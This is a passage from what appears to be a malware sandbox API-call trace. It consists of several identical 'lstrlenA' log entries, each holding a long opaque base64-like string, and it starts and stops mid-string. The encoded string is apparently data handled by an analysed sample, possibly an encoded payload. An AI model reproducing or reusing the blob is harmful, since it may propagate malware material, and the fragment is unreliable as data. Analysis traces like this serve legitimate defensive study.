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") returned 5820
	[0084.639] lstrlenA (lpString="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") returned 5820
	[0084.639] lstrlenA (lpString="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") returned 5820
	[0084.639] lstrlenA (lpString="E+gWS7stQk7klWvDkQSAvjgrgwQ9ZMaTS5QafTUP+jgDIoEI6au9VjT2M8NLyvtGg2gB7Wj8xophSNfZCh8rT5ggHXD334LNNubgw9/A/yG1AC3T4EMB7pmidOTfUEnshtq68nC5YzhsGayCIvZMa8VQMeLoDacAuoszlHf6o8UVvxCPQe+6Xrz1dhlCkP/uUuhQS2wsIbM+eumuFLAYWj8JWqRXL3SoFiySTzFcip/VmKpkS0ByS0wtiHTyqkhoe8pchI89D2yWk8ghYCpsvRnllWxNpscl14TddRJZvBZhoWRDvZeroUViApEt8YzMbO63sYtJ7n+jTv8uS6IDgcsUeoLSqDMvD/mMTVhEY0YGVs/wJYO38UCiBYtBdqTr+kDu3GS2+Nu3gqkSVxgJZc2MUFJCGUdGDxw1MhEpKvmx9WuQhVecmnZ54ZaacfRFTq6HL8OoFcVhMMZ1hoL98DD+C58CwHlChbh0W1SIxyv7ZOnLc7HjKWXaNBzbVDKDHx0L5xCRcci01Pg9N1kYFwtoFjYPP+rW2Q6Q6+Ey8no6g8BfI0X7Fe3yNRmBJDkfwgttccEcPnKnYmhR6orZFzbv8xPYOei3EBpxWPWQNYvBZeFu2Z6Q7Tsli5docxSGxRVNdhpYwi/Fc9Gctu4Nt2Rattg87JMzURadDUrqOMCCgARfI45Jr1dRgAqgjvizAF3kFSNdCz9RXpdOhzwU6wElGzj/umB/E1Cf61J6kaFwVGQeUfiX0plVIDrnskWha3qTj3qVeb31tLBLyvlvEAWmcc4/i7waD+hH9j5hovGP/zsfVyCnqBouO8VxlU+e6DC/Df9MLc0OKWg15hQkvfdOEkv51Dkr2xgyKNlHidbuN8z0oZcd9ZsjWZ3F5I3dg+sijGiBcxrM83337xGsmXZ3FapOf/6RVrwkGIJLZCjUTy6D3HUatfWMn9ARjBkHrHtQ8c7Yr9ScDo2TkHT8ySR6oeXfx5G/dPoYGw0W/BbRt/FF+aDwhkPvm9+vOjG7iVDNfexVNq7UHQpnaQu+